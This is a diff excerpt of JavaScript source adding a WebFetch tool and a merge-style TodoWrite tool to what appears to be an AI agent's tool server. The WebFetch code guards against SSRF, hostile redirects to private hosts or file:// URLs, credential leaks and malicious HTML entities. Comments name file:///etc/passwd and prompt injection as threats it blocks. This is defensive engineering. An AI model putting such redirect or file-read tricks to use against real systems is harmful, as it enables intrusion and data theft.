428
+ const inputHadUserinfo = Boolean(parsed.username || parsed.password)
429
+ let redirectHadUserinfo = false
430
+ if (inputHadUserinfo) {
431
+ parsed.username = ''
432
+ parsed.password = ''
433
+ }
434
+
435
+ const requested = Number(input?.timeout)
436
+ const timeoutMs = Number.isFinite(requested) && requested > 0
437
+ ? Math.min(requested, WEBFETCH_TIMEOUT_CEILING_MS)
438
+ : WEBFETCH_DEFAULT_TIMEOUT_MS
439
+
440
+ const ac = new AbortController()
441
+ const timer = setTimeout(() => ac.abort(new Error('timeout')), timeoutMs)
442
+ // Forward an external abort signal (session destroy) into our local
443
+ // controller. If the signal is ALREADY aborted at entry, the listener
444
+ // wouldn't fire — short-circuit so a destroyed session doesn't make an
445
+ // outbound request.
446
+ const onExternalAbort = () => ac.abort(signal.reason)
447
+ if (signal) {
448
+ if (signal.aborted) ac.abort(signal.reason)
449
+ else signal.addEventListener('abort', onExternalAbort, { once: true })
450
+ }
451
+
452
+ try {
453
+ // #4132: SSRF check on the initial URL. Done before any network
454
+ // attempt so an attacker can't even confirm a private host is
455
+ // listening on the chroxy host.
456
+ if (!(await isHostAllowed(parsed.hostname))) {
457
+ return {
458
+ content:
459
+ `EACCES: refusing to fetch private/loopback/link-local host (${parsed.hostname}). ` +
460
+ 'Set CHROXY_WEBFETCH_ALLOW_PRIVATE=1 to opt in (local dev only — this is an SSRF guard).',
461
+ isError: true,
462
+ }
463
+ }
464
+
465
+ // #4132: manual redirect handling so we can re-validate scheme +
466
+ // host on every hop. `redirect: 'follow'` would otherwise honour an
467
+ // attacker's redirect to file:// (well, undici would refuse it
468
+ // with a vague network error) or to a private IP (which undici
469
+ // happily follows).
470
+ let res
471
+ let currentUrl = parsed
472
+ for (let hop = 0; hop <= WEBFETCH_MAX_REDIRECT_HOPS; hop++) {
473
+ res = await fetch(currentUrl.toString(), {
474
+ signal: ac.signal,
475
+ redirect: 'manual',
476
+ headers: { 'user-agent': 'chroxy-webfetch/1.0' },
477
+ })
478
+ if (res.status < 300 || res.status >= 400) break
479
+ const loc = res.headers.get('location')
480
+ // Drain the body so the connection can return to the pool.
481
+ try { await res.body?.cancel() } catch { /* connection already torn down */ }
482
+ if (!loc) {
483
+ return { content: `WebFetch redirect ${res.status} with no Location header`, isError: true }
484
+ }
485
+ let nextUrl
486
+ try {
487
+ nextUrl = new URL(loc, currentUrl)
488
+ } catch {
489
+ return { content: `WebFetch refused redirect: malformed Location header`, isError: true }
490
+ }
491
+ // #4182 (Copilot review): a Location header can introduce
492
+ // `user:pass@` userinfo on any hop. Strip it BEFORE the next fetch
493
+ // — Node fetch refuses credentialed URLs with an error that echoes
494
+ // the credentialed URL, which would then leak via the catch-all
495
+ // `WebFetch failed: ${err.message}` path.
496
+ // #4183: set `redirectHadUserinfo` (separate from `inputHadUserinfo`)
497
+ // so the result marker can name where the credentials came from
498
+ // rather than ambiguously claiming "userinfo stripped" next to a
499
+ // URL that may not itself have carried any.
500
+ if (nextUrl.username || nextUrl.password) {
501
+ redirectHadUserinfo = true
502
+ nextUrl.username = ''
503
+ nextUrl.password = ''
504
+ }
505
+ if (nextUrl.protocol !== 'http:' && nextUrl.protocol !== 'https:') {
506
+ // The Location header is attacker-controlled, so don't echo it
507
+ // verbatim — that's a prompt-injection surface AND would leak
508
+ // sensitive paths (e.g. file:///etc/passwd). Just report the
509
+ // scheme. (Copilot review on #4165.)
510
+ return {
511
+ content: `WebFetch refused redirect scheme: only http(s) allowed (got ${nextUrl.protocol})`,
512
+ isError: true,
513
+ }
514
+ }
515
+ if (!(await isHostAllowed(nextUrl.hostname))) {
516
+ return {
517
+ content:
518
+ `WebFetch refused redirect to private/loopback/link-local host (${nextUrl.hostname}). ` +
519
+ 'Set CHROXY_WEBFETCH_ALLOW_PRIVATE=1 to opt in.',
520
+ isError: true,
521
+ }
522
+ }
523
+ if (hop === WEBFETCH_MAX_REDIRECT_HOPS) {
524
+ return {
525
+ content: `WebFetch hit redirect cap: too many redirects (>${WEBFETCH_MAX_REDIRECT_HOPS} hops)`,
526
+ isError: true,
527
+ }
528
+ }
529
+ currentUrl = nextUrl
530
+ }
531
+
532
+ // Compute the marker AFTER the redirect loop so it reflects any
533
+ // userinfo stripped on a hop (#4182 Copilot review). #4183: name the
534
+ // SOURCE of the stripped credentials so the marker is unambiguous
535
+ // when `currentUrl` is a redirect destination that didn't itself
536
+ // carry userinfo. The four arms are mutually exclusive at the
537
+ // boolean level; the cross case is a single combined message rather
538
+ // than two stacked markers.
539
+ const userinfoMarker = (() => {
540
+ if (inputHadUserinfo && redirectHadUserinfo) {
541
+ return ' [userinfo stripped from input URL and redirect Location]'
542
+ }
543
+ if (inputHadUserinfo) return ' [userinfo stripped from input URL]'
544
+ if (redirectHadUserinfo) return ' [userinfo stripped from redirect Location]'
545
+ return ''
546
+ })()
547
+
548
+ if (!res.ok) {
549
+ return {
550
+ content: `HTTP ${res.status} ${res.statusText} from ${currentUrl.toString()}${userinfoMarker}`,
551
+ isError: true,
552
+ }
553
+ }
554
+
555
+ const ctype = (res.headers.get('content-type') || '').toLowerCase()
556
+ if (isBinaryContentType(ctype)) {
557
+ return {
558
+ content: `Unsupported content-type for WebFetch: ${ctype || 'unknown'} (binary content is not extracted to text).`,
559
+ isError: true,
560
+ }
561
+ }
562
+
563
+ // #4134: respect the declared charset rather than blindly utf-8.
564
+ // Legacy sites still serve ISO-8859-1, Shift_JIS, GB2312, etc.; an
565
+ // unconditional utf-8 decode produces mojibake that the model
566
+ // can't reason about. Falls back to utf-8 when charset is missing,
567
+ // unknown, or rejected by TextDecoder.
568
+ const charset = pickCharset(ctype)
569
+ const raw = await readBodyCapped(res, WEBFETCH_MAX_RAW_BYTES, charset)
570
+ const isHtml = ctype.includes('text/html') || ctype.includes('application/xhtml')
571
+ const text = isHtml ? stripHtmlToText(raw.text) : raw.text
572
+ const { output, outputTruncated } = capOutput(text, WEBFETCH_MAX_OUTPUT_CHARS)
573
+
574
+ // Distinct markers so the model can tell whether it lost data at the
575
+ // socket (raw cap) or after HTML extraction (output cap). Output cap
576
+ // takes precedence in the marker because that's the final visible cut.
577
+ let marker = ''
578
+ if (outputTruncated) {
579
+ marker = `\n\n[truncated at output cap: ${WEBFETCH_MAX_OUTPUT_CHARS} chars]`
580
+ } else if (raw.truncated) {
581
+ marker = `\n\n[truncated at raw body cap: ${WEBFETCH_MAX_RAW_BYTES} bytes]`
582
+ }
583
+
584
+ return {
585
+ content: `Prompt: ${rawPrompt}\nURL: ${currentUrl.toString()}${userinfoMarker}\n\n${output}${marker}`,
586
+ isError: false,
587
+ }
588
+ } catch (err) {
589
+ // ac.abort(reason) surfaces `reason` as the thrown error rather than
590
+ // wrapping it in AbortError. The most reliable signal that we aborted
591
+ // is the controller's signal.aborted state — message-string matching
592
+ // misses arbitrary user-supplied reasons (e.g. "session destroyed").
593
+ if (ac.signal.aborted) {
594
+ return { content: `WebFetch timed out or aborted after ${timeoutMs}ms`, isError: true }
595
+ }
596
+ return { content: `WebFetch failed: ${err?.message || String(err)}`, isError: true }
597
+ } finally {
598
+ clearTimeout(timer)
599
+ if (signal) signal.removeEventListener('abort', onExternalAbort)
600
+ }
601
+ }
602
+
603
+ function isBinaryContentType(ctype) {
604
+ if (!ctype) return false
605
+ if (ctype.startsWith('text/')) return false
606
+ if (ctype.includes('json') || ctype.includes('xml') || ctype.includes('javascript')
607
+ || ctype.includes('yaml') || ctype.includes('+text')) return false
608
+ return true
609
+ }
610
+
611
+ /**
612
+ * Pick a TextDecoder-compatible charset label from a Content-Type header.
613
+ * Returns 'utf-8' when missing, unparseable, or rejected by TextDecoder
614
+ * (so the caller never has to handle a thrown constructor).
615
+ */
616
+ function pickCharset(ctype) {
617
+ if (!ctype) return 'utf-8'
618
+ // Match `charset=foo` allowing quoted values per RFC 7231. Anchor on
619
+ // a parameter-boundary (start-of-string or `;`) so a contrived header
620
+ // like `text/html; xcharset=fakeout` can't have its tail matched and
621
+ // mistaken for the real `charset` parameter. (#4162)
622
+ const m = ctype.match(/(?:^|;)\s*charset\s*=\s*"?([\w.:+-]+)"?/i)
623
+ if (!m) return 'utf-8'
624
+ const label = m[1]
625
+ try {
626
+ // Constructor throws if the label is unknown to the WHATWG registry.
627
+ // We only use the throw signal — `new TextDecoder(label)` itself is
628
+ // not retained; the real decoder is built per-call in readBodyCapped.
629
+ new TextDecoder(label)
630
+ return label
631
+ } catch {
632
+ return 'utf-8'
633
+ }
634
+ }
635
+
636
+ async function readBodyCapped(res, maxBytes, charset = 'utf-8') {
637
+ // pickCharset has already validated the label, so this can't throw.
638
+ const decoder = new TextDecoder(charset)
639
+ const reader = res.body?.getReader()
640
+ if (!reader) {
641
+ // Defensive fallback for the (unreachable in practice) case where
642
+ // fetch returns no body stream. Use arrayBuffer + TextDecoder so
643
+ // both paths apply the same charset AND the same byte-based cap —
644
+ // res.text() would (a) hard-wire utf-8 in undici and (b) measure
645
+ // the cap in chars, not bytes. Keeps the contract consistent.
646
+ const ab = await res.arrayBuffer()
647
+ const bytes = Buffer.from(ab)
648
+ if (bytes.byteLength > maxBytes) {
649
+ return { text: decoder.decode(bytes.subarray(0, maxBytes)), truncated: true }
650
+ }
651
+ return { text: decoder.decode(bytes), truncated: false }
652
+ }
653
+ const chunks = []
654
+ let total = 0
655
+ let truncated = false
656
+ while (true) {
657
+ const { done, value } = await reader.read()
658
+ if (done) break
659
+ if (!value) continue
660
+ total += value.byteLength
661
+ if (total > maxBytes) {
662
+ const overflow = total - maxBytes
663
+ chunks.push(value.subarray(0, value.byteLength - overflow))
664
+ truncated = true
665
+ try { await reader.cancel() } catch { /* fetch already winding down */ }
666
+ break
667
+ }
668
+ chunks.push(value)
669
+ }
670
+ const buf = Buffer.concat(chunks.map((c) => Buffer.from(c)))
671
+ return { text: decoder.decode(buf), truncated }
672
+ }
673
+
674
+ const HTML_ENTITY_MAP = {
675
+ '&amp;': '&',
676
+ '&lt;': '<',
677
+ '&gt;': '>',
678
+ '&quot;': '"',
679
+ '&apos;': "'",
680
+ '&#39;': "'",
681
+ '&nbsp;': ' ',
682
+ }
683
+
684
+ function stripHtmlToText(html) {
685
+ // 1. Drop <script> and <style> blocks completely (body and all).
686
+ let s = html
687
+ .replace(/<script\b[^>]*>[\s\S]*?<\/script>/gi, '')
688
+ .replace(/<style\b[^>]*>[\s\S]*?<\/style>/gi, '')
689
+ .replace(/<!--[\s\S]*?-->/g, '')
690
+ // 2. Treat block-level tags as line breaks so paragraphs don't merge.
691
+ s = s.replace(/<\/?(p|div|h[1-6]|li|tr|br|hr|section|article|header|footer|nav|aside)\b[^>]*>/gi, '\n')
692
+ // 3. Strip remaining tags.
693
+ s = s.replace(/<[^>]+>/g, '')
694
+ // 4. Decode named entities + numeric (decimal + hex) entities.
695
+ s = s.replace(/&(?:amp|lt|gt|quot|apos|#39|nbsp);/g, (m) => HTML_ENTITY_MAP[m])
696
+ s = s.replace(/&#(\d+);/g, (_, n) => safeFromCodePoint(Number(n)))
697
+ s = s.replace(/&#x([0-9a-fA-F]+);/g, (_, h) => safeFromCodePoint(parseInt(h, 16)))
698
+ // 5. Collapse whitespace per line + trim aggressive blank-line runs.
699
+ s = s.split('\n').map((line) => line.replace(/[ \t]+/g, ' ').trim()).join('\n')
700
+ s = s.replace(/\n{3,}/g, '\n\n').trim()
701
+ return s
702
+ }
703
+
704
+ // Unicode code points are 0..0x10FFFF and the surrogate range 0xD800..0xDFFF
705
+ // is reserved (passing those to fromCodePoint also throws). Return empty
706
+ // string for out-of-range values so a malicious entity like &#9999999999;
707
+ // can't crash the entire WebFetch.
708
+ function safeFromCodePoint(code) {
709
+ if (!Number.isFinite(code) || code < 0 || code > 0x10FFFF) return ''
710
+ if (code >= 0xD800 && code <= 0xDFFF) return ''
711
+ return String.fromCodePoint(code)
712
+ }
713
+
714
+ function capOutput(text, maxChars) {
715
+ if (text.length <= maxChars) {
716
+ return { output: text, outputTruncated: false }
717
+ }
718
+ return { output: text.slice(0, maxChars), outputTruncated: true }
719
+ }
720
+
721
+ /**
722
+ * Merge a partial todo list into the session's `todoStore` (Map keyed by
723
+ * id). Items in the call replace existing entries with the same id;
724
+ * items not mentioned in the call are preserved (merge semantics — see
725
+ * #4051 acceptance criteria). Validates each item before mutating so a
726
+ * mid-list invalid entry doesn't half-apply the update.
727
+ */
728
+ function runTodoWrite({ input, todoStore }) {
729
+ if (!todoStore || !(todoStore instanceof Map)) {
730
+ return {
731
+ content: 'EINTERNAL: TodoWrite requires a session-scoped store (byok-session.js wires this).',
732
+ isError: true,
733
+ }
734
+ }
735
+ const todos = input?.todos
736
+ if (!Array.isArray(todos)) {
737
+ return { content: 'EINVAL: todos must be an array', isError: true }
738
+ }
739
+
740
+ // Validate every item BEFORE mutating so a bad item halfway through
741
+ // doesn't leave the store in a partially-applied state.
742
+ const seenIds = new Set()
743
+ for (let i = 0; i < todos.length; i++) {
744
+ const t = todos[i]
745
+ if (!t || typeof t !== 'object') {
746
+ return { content: `EINVAL: todos[${i}] must be an object`, isError: true }
747
+ }
748
+ if (typeof t.id !== 'string' || t.id.length === 0) {
749
+ return { content: `EINVAL: todos[${i}].id is required (string)`, isError: true }
750
+ }
751
+ // #4138: reject duplicate ids within a single call. A duplicate is
752
+ // almost certainly a model bug; rejecting it lets the model see the
753
+ // mistake and self-correct rather than letting the last write win
754
+ // silently. Across separate calls, merge-by-id is unchanged.
755
+ // JSON.stringify on the id (same shape used for `status` below) keeps
756
+ // the error parseable when an id contains quotes / newlines / control
757
+ // chars — raw single-quotes would mangle.
758
+ if (seenIds.has(t.id)) {
759
+ return {
760
+ content: `EINVAL: todos[${i}].id ${JSON.stringify(t.id)} duplicates an earlier entry in this call`,
761
+ isError: true,
762
+ }
763
+ }
764
+ seenIds.add(t.id)
765
+ if (typeof t.content !== 'string' || t.content.length === 0) {
766
+ return { content: `EINVAL: todos[${i}].content is required (string)`, isError: true }
767
+ }
768
+ if (typeof t.status !== 'string' || !TODO_STATUSES.has(t.status)) {
769
+ return {
770
+ content: `EINVAL: todos[${i}].status must be one of pending|in_progress|completed (got ${JSON.stringify(t.status)})`,
771
+ isError: true,
772
+ }
773
+ }
774
+ if (t.activeForm !== undefined && typeof t.activeForm !== 'string') {
775
+ return { content: `EINVAL: todos[${i}].activeForm must be a string when present`, isError: true }
776
+ }
777
+ }
778
+
779
+ // Apply the merge.
780
+ for (const t of todos) {
781
+ const entry = { id: t.id, content: t.content, status: t.status }
782
+ if (typeof t.activeForm === 'string') entry.activeForm = t.activeForm
783
+ todoStore.set(t.id, entry)
784
+ }
785
+
786
+ // Build a readable summary from the FULL current list (post-merge).
787
+ // The model already sees the call in its history; this confirmation
788
+ // exists so a partial call still surfaces unrelated items. The output
789
+ // is capped so a runaway list (or pathologically long `content`)
790
+ // doesn't balloon conversation history toward token-limit cliffs —
791
+ // the full Map stays server-side; only the rendered summary is capped.
792
+ const all = [...todoStore.values()]
793
+ const counts = { pending: 0, in_progress: 0, completed: 0 }
794
+ for (const t of all) counts[t.status]++
795
+
796
+ const header = `Todo list (${all.length} items): ${counts.in_progress} in progress, ${counts.pending} pending, ${counts.completed} completed`
797
+ const visible = all.slice(0, TODOWRITE_MAX_ITEMS_RENDERED)
798
+ const lines = [header]
799
+ for (const t of visible) {
800
+ const marker = t.status === 'completed' ? '[x]' : t.status === 'in_progress' ? '[~]' : '[ ]'
801
+ const content = t.content.length > TODOWRITE_MAX_CONTENT_RENDERED
802
+ ? t.content.slice(0, TODOWRITE_MAX_CONTENT_RENDERED) + '…'
803
+ : t.content
804
+ lines.push(` ${marker} ${content} (${t.id})`)
805
+ }
806
+ if (all.length > visible.length) {
807
+ lines.push(` … (showing first ${visible.length} of ${all.length}; full list retained server-side)`)
808
+ }
809
+ return { content: lines.join('\n'), isError: false }
810
+ }
811
+
812
+ const TODOWRITE_MAX_ITEMS_RENDERED = 100
813
+ const TODOWRITE_MAX_CONTENT_RENDERED = 200